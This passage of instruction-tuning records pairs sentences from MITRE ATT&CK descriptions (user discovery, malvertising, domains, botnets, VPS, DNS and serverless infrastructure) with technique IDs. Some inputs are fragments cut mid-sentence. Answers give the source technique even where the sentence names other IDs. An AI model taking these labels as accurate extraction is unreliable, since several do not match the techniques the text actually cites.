appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system.", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various utilities and commands may acquire this information, including <code>whoami</code>.", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various utilities and commands may acquire this information, including <code>whoami</code>. ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS the <code>dscl .", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS the <code>dscl . ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "list /Users | grep -v '_'</code> command can also be used to enumerate user accounts.", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information. ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)", "output": "T1033", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) ### Response: T1033."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Purchased ads may attempt to impersonate or spoof well-known brands.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Purchased ads may attempt to impersonate or spoof well-known brands. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising)", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising) ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also employ several techniques to evade detection by the advertising network.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also employ several techniques to evade detection by the advertising network. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages.", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising)", "output": "T1583.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ### Response: T1583.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire domains that can be used during targeting.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire domains that can be used during targeting. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain names are the human readable names used to represent one or more IP addresses.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain names are the human readable names used to represent one or more IP addresses. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can be purchased or, in some cases, acquired for free.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can be purchased or, in some cases, acquired for free. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain.", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting.", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet)", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service.", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)", "output": "T1583.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) ### Response: T1583.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of servers allows an adversary to stage, launch, and execute an operation.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of servers allows an adversary to stage, launch, and execute an operation. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use web servers to support support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use web servers to support support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure.", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", "output": "T1583.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) ### Response: T1583.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting.", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)).", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)).", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There exist a variety of cloud service providers that will sell virtual machines/containers as a service.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There exist a variety of cloud service providers that will sell virtual machines/containers as a service. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers.", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", "output": "T1583.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) ### Response: T1583.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting.", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register for web services\u00a0that can be used during targeting.", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register for web services\u00a0that can be used during targeting. ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)),", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", "output": "T1583.006", "text": "Below is an instruction that describes a task, paired with an input that provides 